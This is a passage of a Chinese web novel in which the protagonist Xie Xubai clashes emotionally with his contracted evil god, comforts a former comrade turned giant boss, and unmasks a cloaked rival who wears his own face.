进化后的祂拥有回溯能力,理论上来说不管谢叙白死过多少次祂都能将人给救活,只除了一次——佛子的那一世,因为牵扯到祂进化的契机,无法追溯更改。 那次谢叙白的死亡成为了邪神心中不可磨灭的阴影,而今祂看着青年平静的脸,竟隐隐生出和那时如出一辙的恐惧。 在这样的前提下,小黑章鱼头一次抛开自己“永不干涉人类选择”的行事准则,质问谢叙白。 【你究竟想要干什么?】 祂的语气严肃到如果青年敢插科打诨不正面回答,一定会强行插手干预的程度。 谢叙白察觉到了,略微一顿,同样用极其严肃的语气回答:“从始至终我想做的只有一件事,拯救世界的未来。为此我个人可以付出任何代价。” 强调个人,代表在谢叙白心中“民众”依旧是不能跨越的原则底线。 同样是强调个人,代表他毫不犹豫地将自己当作可消耗筹码,放在了胜利的天平上。 小黑章鱼短暂失声。 无垢海的月光静谧苍茫,从上往下照在谢叙白线条优美流畅的侧颊,泛着柔光,那双眼睛沉稳如旧,没有一丝波动变化。 祂意识到谢叙白是认真的。 就像青年当年荆棘穿掌,也要敲下佛像金衣入世救灾。 就像青年在五万米深海的高压下陨身碎骨,也要留下灵魂说服祂立契。 但是。 但是。 但是……! 【你,曾经对那个姓裴的执行官说,未来要参加他和养母的婚礼,要给他们当伴郎。】 谢叙白没想到祂会记得这件事,更没想到祂会提出来,静默半晌后,若无其事地说:“妈妈和裴叔叔就算要结婚也只会在胜利后,没有未来都是空谈。遇到这种情况,他们只会比我更决绝坚定。” 【那你不想和亲生父母见面?】 谢叙白的脸皮微不可察地绷紧了一下,生硬地笑着说:“我会拜托妈妈消除他们的记忆,他们彼此相爱,只想过平凡的生活,没有我也能过得幸福美满,没准我还会多两个弟弟妹妹。” 【那你想养猫狗,想在阳台种兰花,想开一家热热闹闹的社区饭店,想去演唱会感受震撼现场,想去花园和大爷大妈下棋跳舞,想去非洲大草原看野生动物的爱好呢?】 “……”谢叙白说,“无限游戏只要存在一天,这些心愿就没法达成。使能,也只是自欺欺人的假象,连短暂的安宁都算不上。” 【那——】 那祂呢? 祂呢?? 这个可恶的骗子,和祂结契却无辜袒明自己不会信仰任何神,毫无知觉地撩拨完祂的情绪转头又果断抽身。 甚至连剔除能量杂质这种小事都不让祂帮忙了,一副不想牵扯任何人,要撇清所有关系干干净净赴死的作态。 他到底把祂当什么了? 呼之即来挥之即去的工具?还是迫不及待想要甩脱的包袱? 小黑章鱼直勾勾地盯着人类青年的脸,试图从中找出一丝犹豫,一丝不舍。 但是祂失败了。 青年的神情还是那样平静,该死的平静! 暴戾的情绪如火燎原,理智似乎将被焚烧殆尽。 猝然间,小黑章鱼听见青年发出一声压抑的闷哼,嗓音含着猝不及防的惊怒。 “等,等等!您这是在做什么?呃!” 祂抬眼看去。 触手状的黑影从四面八方涌来,覆盖青年瘦削的身体,一圈圈在瓷白肌肤上勒出红痕,如皑皑雪地绽满艳丽的梅花。 触手寸寸施压,黏液渗入皮肤引起让神经发软的麻意。 青年努力撑住地面才不至于完全趴下去,削瘦修长的五根手指攥住雪白细沙,因忍耐而绷紧,抖个不停。 他咬牙努力交涉:“我做了什么冒犯您的事情吗?不管怎样,我绝对无意惹您生气,请您息怒!” 平静的无垢海上忽然飓风席卷,乌云遮月,海岸被浓郁的阴翳笼罩。 小黑章鱼的身体不断变化,迎着谢叙白震惊的目光,逐渐化作成年男人的模样。 剑眉星目,五官深邃,金红眼眸幽深而不见光。祂裹挟着叫人毛骨悚然的压迫力,踱步走到谢叙白的面前。 凝视谢叙白惊愕到无以复加的脸,男人面色冰冷如铁,说不清嗤笑还是自嘲:【果然。】 这个满脑子只有世界和人类的小混蛋,只有祂变成人,才会把祂看在眼里。 海风从咆哮翻涌的海平面呼啸而来,空气中蔓延着咸腥苦涩的气息,湿漉漉的,像天在哭泣。 也是这时,邪神终于发现,难怪祂无法成为正神,因为祂本质还是一头怪物,一头伪装得道貌岸然,实则自私自利,占有欲和掌控欲极强的怪物。 祂不喜欢谢叙白不再依赖他,愤怒于谢叙白赴死时的无所畏惧,更不能接受对方把自己的牺牲说得这样轻描淡写,游刃有余。 “……您得说出来!” 突然间谢叙白的吼声震彻无垢海岸,或许是察觉到涌动的触手有把自己束缚起来的迹象,他意识到自己再不说点什么,结局一定是他不想看到的。 “如果您的本意不是要杀死我,也不是要伤害我,您得把我惹怒您的原因说出来!不然它永远也得不到解决!” 谢叙白盯着祂的眼睛,微微喘气,颤动的瞳孔中满是哀求:“拜托您,冷静下来……我要喘不过气了。” 他咬住后槽牙,激将法一般:“您真的要杀死我吗?” 触手一颤,陷入莫大恐慌,触电般的全部松开。 被卷到半空的青年骤然往下掉,不想脸着地,他连忙使出精神力,然而男人更快地将他接到怀里。 ——心脏没问题,心跳有力,皮肤没有破损,骨骼器官一应完好,健康得可以出去跑十万米。 邪神冷冷看向信口开河的青年。 【死?】 十秒前的祂对操控力量有绝对自信。 现在逮了个现行,终于可以拾起差点破碎的信心。 谢叙白和祂对视。 邪神几辈子的有求必应,终究是在青年的心里留了痕,如果是平时他会佯作委屈地捂住心口:“当然死了,心死了,我再也不是您最爱的眷属了。” 此时此刻,他只是轻而认真地问:“可以告诉我吗,您为什么生气?” 【这个问题很重要?】 “怎么可能不重要?” 谢叙白瞪大眼睛,将被勒出印子的手腕杵到男人的面前,严肃控诉道,“红了!您第一次这样对我!” 【……】 男人无声和他对视。 青年明明是断手断脚都不会多吭一声的性格。 良久,祂终于在谢叙白亮得可怕的目光中败下阵来:“抱歉……” 却在想要说明原因的时候猛然停住。 那些龌龊阴暗凶戾上不了台面的念头,祂要怎么对光明磊落的人类说出口? 脑海纷乱不休,一股难以言喻的滋味从舌根蔓延至心头。海风一掠而过,空气中涩意更浓。 谢叙白和男人对视片刻,忽然嗅到那苦涩的滋味,一个从未有过的猜测刹那漫上心头,因为过于荒诞,指尖都颤了两下。 “您……” 【你不会死。】 男人突然截断谢叙白的话。 像是在回避什么,祂撇开青年错愕的视线,唯有声调斩钉截铁,贯穿翻涌的海浪:【不管付出什么样的代价,只要我还存在,你永远不会真正死去。】 唰——! 海浪凶猛拍岸,雪白水花四溅。 谢叙白怔愣地看着男人,嚅嗫片刻,说不出话。 他被男人稳稳地放在沙滩上,惊觉对方心中怀揣着某种隐秘而疯狂的情愫,久违的无措和茫然涌上心头。 一扭头,男人盘腿坐下,隔空捞来一块被切割成小块的能量体,面无表情地剔除里面的杂质。 于是还没理清思绪的谢叙白,又一次被邪神呈现出来的贤惠感冲击了心灵。 小黑章鱼挥舞八根触手哼哧哼哧辛勤工作,会让人觉得非常可爱。 但当这只章鱼变成正儿八经的人神,想到祂是以什么心情专心致志地帮忙后,感觉突然就不一样了。 谢叙白张了张嘴。 迄今为止受到邪神的不少照顾,他当然很珍惜并敬重这位契约神祇。 这也是他遭到触手席卷后,没有第一时间反击,而是选择沟通交流的原因。 “……”半晌,谢叙白抿紧嘴唇,将想说的话咽了回去。 他解开衣服,将外套披在男人光条条的身体上。 邪神应该是第一次变成人,也没有人类社会礼义廉耻的观念。 感觉到身上多了件衣服,祂也只是抬起头,没有波澜地看着他,然后将处理好的能量体递上。 战时紧张,顾不上讲究,一群大老爷们把自己脱得精光,白花花一片跳进河里什么的,也不是没有过。 但在看到那鼓囊的一大团时,谢叙白还是被烫到般,仓促地挪开视线。 然后就被男人堪称黄金三角的肌肉硬线条牢牢吸引了注意力。 谢叙白心道邪神对人类外表的审美拿捏得还挺强。 “您为什么会是这样的姿态?” 【什么姿态?】 “我是指,长相,还有身材。” 邪神毫不犹豫地说:【按照你的喜好塑造的。】 谢叙白:“……” 【我只有你一个眷属,其他人的标准于我无用。】 谢叙白:“…………” 发觉谢叙白并没有因为长相对祂另眼相待,男人就不再关注自己的人类形态,察觉到谢叙白的欲言又止,皱了皱眉头:“怎么了?” 有些时候祂能敏感地注意到人类关系里幽微的边界感,有些时候又纯粹死板得像块石头。 谢叙白嘴角抽搐,抹了把脸,默念金刚经坐在男人的身边,看着手里的能量体。 空气静默了一瞬。 “我想。”谢叙白突然说,“您说能保我不死的那一刻,我应该是非常期待的。” 男人一僵,转头看见谢叙白对祂笑得温柔灿烂。 翻涌的海浪不知何时渐渐平息,无垢海恢复以往安宁祥和的模样。 皎洁月光下海平面折射出粼粼波光,落在青年的眼底,像盛着一湾闪耀的星河。 谢叙白:“如果有机会的话,或许……” 或许什么,谢叙白到底没有说出来。 他想到和谢语春的密谈,闭上了嘴,仰头将能量体一口吞下,将所有被邪神一瞬间激发得躁动的情绪一起咽进了肚子里。 既定的命运已经谱写,璀璨光明的未来必将以个人的血溅开路,不会有一丝一毫的偏移。 远方风暴将至,谢叙白无声地抬高视线。 第219章 【补一段】 黑王(3)…… …… “初一大佬!初一大佬!” 宴初一猛然睁开眼,急促地大喘气。 见青年终于清醒过来,众人纷纷松上一口气。 过去的回忆如走马灯般在脑子里闪现,太阳穴胀痛得像是要裂开。 他用力地揉按眉心:“……现在是什么情况,我晕过去了多久?” “时间不长,不到五分钟。”徐队长递上不知道从谁那里薅来的舒缓喷雾,快速说明,“我们在黑塔的大门口,后面的门打不开,应该需要触发什么机关。还有,那个巨人把火车砸碎后就一动不动,不知道什么情况。” 宴初一闻言顿住,抬头往天上看。 周围没有遮蔽物,从这个角度往天上看,正好对上巨人猩红恐怖的瞳孔。 被攻击时没顾得上仔细观看,如今再一细看,巨人的头身比例约为六分之一,皮肤细嫩并非侏儒症,明显就是个六七岁的小男孩。 和宴初一对上眼的瞬间,巨人男孩微不可察地动了动,呆滞涣散的瞳孔恢复光彩,似有所觉地朝他看了过来。 “whi……” 另一边的众人还在商量要怎么打开黑塔的大门。 大门约莫三层楼高,实心铜铁制造,几名神眷者合力都没能推得动,显然有规则制约。 就怕系统作妖,必须击败巨人才能开门。 巨人的可怕程度众人有目共睹,连破坏力最强的布莱恩都不能击穿它的防御。 因为还处于特殊地图,大部分玩家都不能使用技能道具,作战能力为零,真打起来的话,局势会对他们非常不利。 突然间许清然瞄见巨人BOSS动了,大喊一声小心,将手搭在长鞭上。 她眼中满是冰冷的杀意,却在下一秒烟消云散,化为压不住的惊喜。 只因许清然看见丝丝缕缕的金光从八方汇聚而来,溢散的光辉如散碎星点。 那浩瀚温柔的神力,只要亲眼见过一次就再难忘却。 “是谢叙白!” “谢神来了!” “天啊,谢门永存!” “吾神——!” 一声呐喊气若洪钟,吓了在场众人一大跳,回头看过去,才发现是【重力】玩家这小子。 【重力】玩家疯狂挥舞手背上的神眷者徽记,激动得连蹦带跳:“吾神!我现在是您的眷属了吾神!我发誓将永远拥护您!一定努力升级不辜负您的期望!啊啊啊啊啊啊吾神!” 加一起都喊不过他,然后发现这家伙居然在用神力呐喊的众人:“……” 淦。 这是在炫耀吧?这妥妥是在炫耀对吧?再这样信不信他们酸给他看啊! 没顾得上开口的许清然连忙捂着脸,把这丢人现眼的家伙拖了下去。 “史蒂芬。”谢叙白靠近巨人男孩,用只有他们能听见的声音温柔地问,“还记得我吗?” 巨人男孩的身体定在半空,直勾勾地盯着突然现身的谢叙白,又看了看底下的宴初一,神情茫然,似乎不明白为什么会出现两个white。 为了保密身份,每个使徒在被带入公会前都会伪装样貌,但精神力是不会有假的。 谢叙白又问:“你还记得丽萨吗?” 刹那间,众位玩家惊讶看见本来平静的巨人BOSS再次变得激动起来,朝谢叙白张开双手,大片的阴影从头临下。 “谢神!”“吾神!” 但情况再次出乎他们的意料! 巨人BOSS没有攻击谢叙白,两只可以荡海拔山的手小心翼翼,像是想要寻求安慰却碍于自身的巨大没法落下,无措地在半空摇来晃去。 也是这时,金光化作比巨人男孩还高大几分的少年人虚影,屹立于天地云层之上,氤氲缥缈,圣洁慈爱,如神亲临。 众人屏住呼吸,扬起脑袋看得目瞪口呆。 看到这道虚影的瞬间,巨人男孩再也没有一丝犹豫,冲上去紧紧地抱住谢叙白。 沉重的脚步踩踏平原,碎石飞溅,整个地面都狠狠地震了好几下。 可如此强大骇人的巨人,此时却温顺无害得像是受了委屈的孩子,抓着谢叙白的衣服不放。 史蒂芬本来想矜持一下,毕竟他又不是真的小孩,是订过婚的人,有着成功人士的自大也有天之骄子的孤傲。 但他实在太痛苦了。 变成BOSS后,史蒂芬被回忆反复折磨到几乎癫狂,只有此时靠近谢叙白,才终于恢复些许清明。 忍了又忍,死命憋住喉咙里的哽咽。 “我,我好久没看到熟人了,让我抱一会儿。我比你小,不许笑话我。” 谢叙白没笑,拍拍男孩的肩膀,温言细语地说:“哭吧,没关系,不会有人知道的。” 史蒂芬惊讶抬头,看见他们四周被金光钩织的屏障罩住。 外面的玩家听不见他们的声音,也看不见里面的情况,正满脸好奇地伸长脖子往里瞅。 似乎在他扑上来的刹那间,谢叙白就有意识地降下了屏障。 ——眼前的人还记得,记得他爱哭闹又脸皮薄,也会像以前那样撑起屏障,放纵他在怀里委屈地哭个够。 当意识到这点的时候,压抑的泪水倏然决堤,史蒂芬在谢叙白的怀里哭得稀里哗啦:“啊啊啊啊啊啊!” 世人都认为使徒公会内部竞争激烈,又有着残酷的淘汰放逐机制,一定充满阴谋算计尔虞我诈腥风血雨。 他们认为得没错。 但是第一使徒white的出现改变了这一切。 为了让使徒们尽快适应高强度特训,好淬炼出钢铁意志接受神力赐福,大多数使徒会在幼年时期被带入基地。 尽管他们都有前世记忆,但受限于大脑神经还未发育完全,依旧有着孩童的脆弱和骄横。 想要回家,想要找爸爸妈妈,会受不了训练的苦和累躲起来偷偷哭,会在疼得受不了时大吼大叫,大发雷霆破坏东西来发泄。 基地会为使徒专门安排精神疗愈师,但不是所有的疗愈师都能扛得住使徒失控时的一击。 受到重伤的疗愈师再来抚慰时,不管装得多么淡定不在意,精神力也会表露出挥之不去的恐惧和厌憎。 能选中的使徒们,哪一个不是人中龙凤?与生俱来的傲气让他们宁愿忍受痛苦和疯狂,也不肯让一个厌恶惧怕自己的人为他们抚慰紊乱的意识海。 何况小孩子的思维转不过弯,容易钻牛角尖。 ——明明他们为了救大家吃了这么多苦,居然还要被大家讨厌,不救了!都滚! 如此憋着闷着,怨气日积月累地压在心头,终于演变成集体狂暴的重大事故! 超过七名使徒陷入半异化,二十多名使徒被波及,重伤的警卫和科研人员不计其数,破坏基地设备造成损失超过二十多亿! 上层知道这件事后勃然大怒,所有涉事使徒都被关了起来,几乎吊在被处理的高危线上。 那次,是谢叙白第一次动用特权,延缓涉事使徒的审判期限。 又在这期间,想到让疗愈师为疗愈师进行精神抚慰,打消对使徒们的恐惧,从而可以顺利抚慰狂暴使徒的办法。 因为人手不够,谢叙白也被赶鸭子上架去抚慰半异化的使徒。 使徒本人当然很不配合,一直冷嘲热讽质疑谢叙白这个关系户的能力。 最后被耽误整整两小时训练时间的某关系户决定贯彻自己的特权,叫来警卫,按着不配合的使徒狠狠暴揍一顿,后者痛得哇哇大哭,含泪“自愿”接受了谢叙白的精神抚慰。 其实最初谢叙白的精神抚慰并不熟练。 他的天分太差,光练习一个精神控制就几乎花掉所有训练时间,和训练进度一日千里的其他使徒比起来堪称龟速,经常成绩垫底,遭到众人的嘲笑蔑视。 孤立和欺压当然还是没有的,毕竟谢叙白【命运女神】之子的身份摆在那,总还是有那么几个小弟追在他的身后谄媚讨好,为他壮大声势。 谢叙白也不是会闷头吃亏的性子,只要有人针对他,立马找裴玉衡打报告,把几个刺头拎出来当典型教育。 一来二去,就没人敢惹他了。 同样谢叙白的名声一传十十传百,天之骄子们都知道了他们的队伍里混进来一个草包关系户,暗地里纷纷瞧不起他,见面阴阳怪气。 千夫所指的处境摆在那,原本想要和他正常交好的人也慢慢打消了那份心思。 毕竟公会资源有限,只会倾斜在有希望的成员身上,他们可是竞争者啊。 但谁也没想到,就是这样让他们都看不起的谢叙白,将七名几乎被判死刑的半异化使徒从崩溃绝望的边缘拉了回来。 从那之后,使徒们对谢叙白的态度有所改观。 他们逐渐发现这个传闻中跋扈恣睢的关系户其实性格很好,温和稳定,除非舞到他面前动手动脚,否则就算当面开嘲讽也不会生气。训练非常刻苦认真,是最努力的那一档。 然而他们还是不明白谢叙白在固执什么,明明没有天赋也没有实力,却要硬占着第一使徒的位置不挪窝,真就没点自知之明? 所以反感和偏见依旧存在。 直至突然有一天,众人蓦地在对决测试中发现,谢叙白居然不再是垫底的那一个! 轮回的副作用不知道让多少使徒望而却步,唯有这个资质平平无奇的家伙在稳步坚定地向前。 从垫底到倒数第二,从倒数第二到中下,再从中下到前二十,最后跌破众人眼球,一举跨入前十! 哪怕是自诩为“天才中的天才”的那批家伙,此时也坐不住了,被谢叙白激出了强烈的危机感。 那个时候,经历过生死磨难的众人和谢叙白的关系好上不少,他们终于有机会提出当初未解的疑惑,想知道对方为什么如此固执。 谢叙白倒是直言不讳:“因为母亲说了,只有我能做到。” 众人:“……” 靠,原来是妈宝男! 累加起来都快几百岁的人了,讲出这种话却一点都不害臊,可见对方是真心认同并接受了谢语春的说法。 因为关系好,又见证了谢叙白的崛起和强大,大家都只是笑笑,玩味地调侃两句,感叹:“这就是母爱啊。” “white,你确定不是阿姨爱子心切?” “我懂,我妈看过我在直播里的表现后就一直担心我会毁灭世界,不过,可能只是因为她觉得我有这个实力。嗯,我还是超爱她的。” 有人来到谢叙白的身边,安慰拍肩笑道:“没事的white,你已经证明了自己的潜力,没准你真的能胜任第一使徒的位置,从今以后我们都要听你的咯。” 谢叙白却突然说:“不,我说这话是认真的。” “我母亲曾经是全球最高委员会的首席执行官,站在位高权重的巅峰。如果她有一点私心,当初就不会毅然决然选择卸任,献祭自己在时空长河中洄游,只为追索一线渺茫的希望。” “委员会一直试图插手掌控使徒公会,他们曾有325次威逼施压,277次利诱蛊惑,甚至派出过杀手。最艰难的时候我母亲一天要面对二十多次弹劾,审讯室的路走得比办公室还熟——” 谢叙白难得沉下语气,甚至用了精神威压:“你们说她是出于私心才让我坐上第一使徒的位置,是对她莫大的侮辱。” 众人陷入死一般的沉默,呼吸凝滞。 谢叙白合上书,看一眼时间,起身准备继续回去训练。 “……我们不知道!”后面传来某位使徒慌张的辩解声,“我们没有怀疑命运女神的公正性!而且你为什么当初不解释?” “我来到基地的第一天,教官就对你们所有人说过,【我能成为第一使徒是命运女神得到的启示】,但显然你们只把它当作一位伟大无私的执行官徇私的说辞,更相信自己狭隘无知的判断。我解释过几次,也没有人听。” “另外,你们是不是忘记了使徒的选任并非我母亲的一言堂?有委员会各大议员紧盯我母亲可能出现的任何一丝纰漏随时准备把她拉下马,有使徒公会内设的监察部门时刻把关,有重重筛选、严苛到一丝不苟的选任制度,在这种前提下,你们居然以为一个前首席执行官,能随心所欲地将她的‘废物儿子’推到最高指挥官的位置。” 谢叙白侧身,没有波澜的目光扫向所有语塞的人,不轻不重吐出一句话:“天才?蠢得可以。” 众人被说得哑口无言,羞愧得恨不能找个地缝钻进去。 也是这时他们再次听到谢叙白无情的命令:“狂妄自大,自以为是地想当然,这是你们一直都有的弊端。这一周所有人的训练量加十倍,都记住这个教训。” “啊???” 众人撕心裂肺的哀嚎声差点震破天花板。 史蒂芬是后来才加入的使徒公会,对谢叙白整治使徒们的铁血手腕有所耳闻。 可如今一想,当时谢叙白看似公报私仇的加训,何尝不是巧妙地化解了当时的尴尬和隔阂。 从前往后再一细数,何止是这样。 是谢叙白力排众议更改淘汰制度,每周定期的精神抚慰挽救了使徒们岌岌可危的理智。 是谢叙白一视同仁,针对所有人制定不同的训练计划并亲身督促。 是谢叙白记住了每一个无论存活还是被早早淘汰的使徒成员,包括他们的喜好、生日和身世履历。 从此再冰冷无情的战区都会有一碗热气腾腾的长寿面,再动荡不安的夜晚都会有谢叙白编织的美梦助他们安然入眠。 …… “white。”史蒂芬泪眼婆娑地看着谢叙白。 就像使徒们无数次依赖信任着他们的第一使徒般,他颤抖着张开嘴,请求一个解脱:“求你,吃了我吧。” 第220章 黑王(4) 谢叙白没说话。 史蒂芬不是一时冲动。 “他们说时间是最好的良药,可是几十年了,我依旧忘不了,是我没能救下我的家人,是我没能救下丽萨……我变得没法容忍一切,也越来越憎恨自己,活下来只有痛苦……” 史蒂芬的双眼灰暗无光,像一棵饱经摧残再也救不活的树,从根系开始枯死腐朽。 “或许我早就已经死了,white,在你面前的不过是一具能呼吸的尸体,最迟明天,我将彻底地闭上眼。” 史蒂芬:“我知道你还在前进,所以吃了我吧,吸收我的力量,至少,让我的存在变得更有价值一点……呃啊!” 史蒂芬突然脸色惨白,紧紧捏住自己的手臂,冷汗渗出额头。 谢叙白视线一偏,看见少年平整光滑的皮肤突然如波浪般涌动,骨头跟着响起一阵令人牙酸的咔嚓声,朝外尖锐地凸起,形如针刺。 异化的前兆如此相似,仿佛当年的悲剧即将再一次重演。 史蒂芬叫声更加凄厉:“快点white!求求你,我不想看见自己变成怪物!你已经帮过我一次了,就再帮我最后一次吧!” 水墨空间。 和外面紧张的情势不同,里面十分风平浪静,甚至风平浪静得过了头。 斗篷人看着一脸波澜不惊的谢叙白,微微眯了下眼睛,看热闹不嫌事大般调侃:“昔日好友都那么可怜地恳求你了,你居然一脸无动于衷,真无情啊。” 岂料被这么刺激了,谢叙白还是没说话。 突然间记起那么多惨痛坎坷的往事,心态一下子转变不过来很正常。 但这个人的性子,要是看见旧友即将异化成怪物还能如此波澜不惊,那未免就有点太诡异了。 斗篷人扯了扯嘴角:“还是说你在虚张声势?” ta意念一动,史蒂芬立时痛叫出声,凸起的皮肤冒出斑驳血点,嶙峋骨刺沾血带肉地顶了出来。 然而电光火石之间,金光如绷带飞速缠上,它有净化污染的能力,骨刺几乎遇光消融,凸起的皮肤迅速在光带的缠绕中平坦恢复。 斗篷人立马看向史蒂芬的另一只手,谢叙白的动作却比ta的意念更快。 不待躯体异化的征兆再次出现,金光疾驰如风,从头到脚将男孩包成了个木乃伊,连眼睛都没露出来,就留下呼吸的鼻孔。 “呵——”斗篷人不得不承认他小瞧了谢叙白,“这就是半神的实力吗?真是长见识了。” ta嗤笑道:“不过,难道你想就这样一直把他带在身边?我倒是很乐意看见你多带几个拖后腿的累赘,但这位小朋友一定很不情愿,只会觉得你是在疯狂折磨他。万一后面你再出点事没顾上他,让他当场异化对那些人类下杀手,那场面真是……啧啧啧,想想就很开心。” 谢叙白却一点没受ta的刺激,神情还是那么平静:“与其为我担心,不如想想你等会儿要怎么和系统交差。” 他反唇相讥:“系统交代你给我戴上黑冠,你不仅没能顺利完成,黑冠也被我抢了过来。它命令你让玩家输了试炼,但现在玩家齐聚兵临黑塔大门,登顶只是时间问题。它要求你杀死我,然而看看你的椅子下面吧,这么短的时间,你就被我吃掉了一颗黑子,并且即将还会被吃掉第二颗——” 谢叙白双手搭在棋桌上,上身前倾。 两人距离一寸寸拉近,像对阵时一点点瓦解攻破敌方的防线,让双方的对峙无处可避。 斗篷人脸色冰冷,双手环胸。 这种在心理学上靠突然拉近距离施加压力的伎俩,ta一开始就对谢叙白用过,怎么可能会当回事。 听到系统时ta更是嘴角一挑,露出说不出的嘲讽,主打的就是无所畏惧。 然而也是这一时刻,谢叙白像是确定了什么,了然道。 “果然,你就是我。” 刹那间全世界仿佛都安静了下来。 没人会在吃雪糕的时候突然大吼我要去竞选美国总统。 就如同斗篷人不会想到刚才还在试图压力ta的谢叙白,会突然得出这条惊世骇俗的结论。 猝不及防。 ta和谢叙白的眼睛对在一起,近距离的审视让ta的瞬间反应变得无处遁形。心脏撞击胸腔,呼吸此起彼伏。 ta突然大笑出声,仿佛听到一个特别荒唐的笑话,笑得眼泪水都从眼角挤了出来:“我说你这个人,自恋也该有个限度吧?你污蔑我是你,有什么证据吗?啊?需不需要我向规则发誓证明一下自己的身份?” 谢叙白淡定地点了点头:“可以,现在就发誓,说你的出现和我没有一点关系。” 斗篷人:“……” 谢叙白:“怎么不说?” 斗篷人一动不动。 一秒,两秒。 沉默被拖曳得极其漫长,漫长到好像能听到谁的心脏在咚咚擂鼓。 看ta这个反应,谢叙白终于能确定心里的部分猜测。 而当他准备继续深入套话的时候,斗篷人突然反应过来了:“你在诈我。” ta猛然低下头,果不其然在背后看见一缕悄然靠近的金光。 就是这玩意刚才让ta的意志变得涣散! “我***你居然在诈我!!!” 斗篷人狠狠地将金光撕掉,抬掌掐碎,要不是有规则的限制,估计早已经拍桌而起和谢叙白大打出手。 系统派ta过来对付谢叙白,ta的出现当然和谢叙白有关系! 但在和谢叙白近距离对峙的压力与精神蛊惑的双双影响下,斗篷人没能第一时间注意到谢叙白的语言陷阱,而是想到更深层的原因,以为自己暴露了什么,瞬间僵滞露了怯。 ta什么都没透露,什么都没回答,可对谢叙白而言,哪怕是这么一秒两秒的迟疑,已经足够他发现很多问题。 斗篷人从来没有这么愤怒过,用一种恨不能将人撕碎的眼神阴沉地盯住谢叙白。 谢叙白说:“这怎么能算诈你?毕竟是你先压制不住对我的杀意和敌意。” “从和你见面时起,我就在想,明明我们两人素不相识,为什么你会对我抱有这么大的敌意?后来你完整地复刻了爸妈遇害时的场景,我只当系统也能追溯过往。” “直到刚才,史蒂芬说再帮他一次。” 谢叙白:“吞吃史蒂芬神力的那次,有宴朔为我保驾护航,全程设下认知干扰,这件事在当时连系统都没能发现,你又从何得知?那时候我再三确认,史蒂芬的灵魂已经消散了,总不可能是他诈尸活过来告诉你的。” “也或许,我之后吞吃十一使徒的时候宴朔不在身边,没人为我设下认知干扰,让系统和你猛然发现我有吞噬能力,从而顺利推测出当年史蒂芬突然失去神力的始作俑者,就是我。” 谢叙白屈起骨节分明的手指,规律地轻叩桌面,清脆的敲击好似重锤砸在心头。 “已经无所谓了。”他弯起眼眸,粲然一笑,“毕竟谁知道我只是稍微试探了一下,你就不小心露出马脚了呢。”《 》 220-230 第221章 黑王(5) 斗篷人一言不发地盯着谢叙白,难堪和暴怒真实地呈现在ta的脸上,如果目光能凝成实质,估计谢叙白早已被千刀万剐。 对弈局势处于下风,心理对峙一落千丈,甚至连隐秘的身份都被逼着暴露。 可想而知ta的心里该有多么气急败坏。 根据谢叙白的经验,只要能将这种暴躁易怒的家伙逼到爆发,那么对方的崩溃落败也将不远。 然而。 几下剧烈的喘息后,ta突然闭上眼,毫无征兆地哼笑出声。 不是那种怒极反笑的笑声,很轻快,带着点欣赏意味的谑然。 斗篷人伸手往脸上一抹,就像戏剧里的变换脸谱,蒙在ta身上的认知干扰似轻纱被一把扯下。 “ta”变成了“他”。 浑然天成的五官如同神赐,眉眼轻弯,水光潋滟,恰似六月江南烟雨缠绵,沁润人心尖。 这张脸谢叙白熟悉得不能再熟悉,每天早起他都会在镜子里看一遍。 但绝不是这种温柔笑着,却邪气横生的模样。 在谢叙白上身倾过半张棋桌的前提下,斗篷人也往前靠近。 两人距离急速拉近,几乎能从对方的瞳孔中看见各自的倒影。 谢叙白强行分魂加短时间吸收大量记忆碎片,斗篷人被掀老底受到极大刺激。 各种影响下,两人脸色呈现如出一辙的苍白病态。 斗篷人突然伸出手,中途急转直下,掐向谢叙白的咽喉。 谢叙白脑袋一偏同时后撤,躲了过去。 斗篷人一点都不觉得尴尬,捉了个空的手顺势支撑侧颊,慢条斯理地说:“是啊,原本想再晚一点揭露身份,给你和你的朋友们制造点小惊喜,结果你却这么迫不及待和我相认,我要是不顺了你的意,岂不是不解风情?” 气势变了,性格变了,仿佛眨眼间换了个人。 此时此刻谢叙白终于可以确认,他屡次三番在斗篷人身上体会到的割裂感不是错觉。 刚才的人格是狂妄自大受不了刺激,而现在的…… 突然,谢叙白眼角余光掠过一片涌动的黑雾。 嘭! 斗篷人周围撑起透明屏障,抗下邪神躯壳充满杀意的一击。相撞刹那产生剧烈余波,朝外环形涤荡,整个水墨空间都颤动了一下。 谢叙白连忙喊了一声:“宴朔!” 黑雾张牙舞爪,对斗篷人的厌恶源源不断——不喜欢冒牌货,下意识忌惮着随之而来针对谢叙白的阴谋。 斗篷人突然开口:“看到这张脸,很生气对么?” 他扬起下巴,对上邪神躯壳金红色的竖瞳,笑着说:“那如果是这样的呢?” 就像变戏法似的,斗篷人身上的装束眨眼间变成银白军式作训服。 胸口朝外渗出大片血迹,满是刺目的鲜红。 那张本就惨白的脸飞速灰败下去,冷汗汩汩滑落,气息逐渐变轻,微弱到接近于无。 斗篷人对邪神躯壳展颜一笑,露出温柔乐观的笑容,虚弱地说:“用我一个人,再换所有人一次机会,很赚的……” 轰! 邪神躯壳瞳孔骤缩,难以想象的痛苦排山倒海般冲来。 祂的灵魂仿佛往下跌落到冰冷荒芜的深渊,周围的噪音如潮水退去。 有谁躺在祂的怀里,被祂紧紧地搂抱着,祂往下一看,看到一张重伤苍白的脸。 那是谢叙白,快要死了的谢叙白。 伤口从谢叙白的胸腔扩散,受击的灵魂寸寸碎裂,不管祂如何灌输力量也无法挽救青年不断流失的生命力。 祂嘶吼、怒叫,朝着满天神佛声嘶力竭地恳求,然而苍茫天地无人回应祂的绝望。 青年悲恸地看着祂,嘴唇压不住地颤抖,呼吸都仿佛带着难以言喻的灼痛。 痛苦难过、不舍不甘……半秒不到,那些强烈的对人世间的渴望还有许多想说的话,通通被青年克制地压了下去。 只留下有气无力的嗓音在邪神躯壳的耳边响起,濒死之际还在温柔坚强地宽慰祂。 【不哭,乖,不哭了。】 【没关系,用我一个人,再换所有人一次机会,很赚的。】 【你会遇上很多很好的人,不要难过……】 见此情景谢叙白立马回忆起那次做梦,脸色骤变,第一反应看向邪神躯壳。 宴朔意识还在时,尚且忍受不了谢叙白的死亡,而全凭本能行事的躯壳,更是半秒都没抗住,恐怖的威压从祂身上轰然爆发! 黑雾凝成粗壮触手,裹挟着千钧之势席卷水墨空间的每一个角落,黑影狰狞,如群魔乱舞,空间不堪重负地颤抖,湖底鱼怪胆寒惊惧。 剧烈的震动传到谢叙白的脚下,眼前的景象抖成筛子,他几乎要坐不稳。 不开玩笑,眼前的空间离彻底崩溃只差一线之隔! 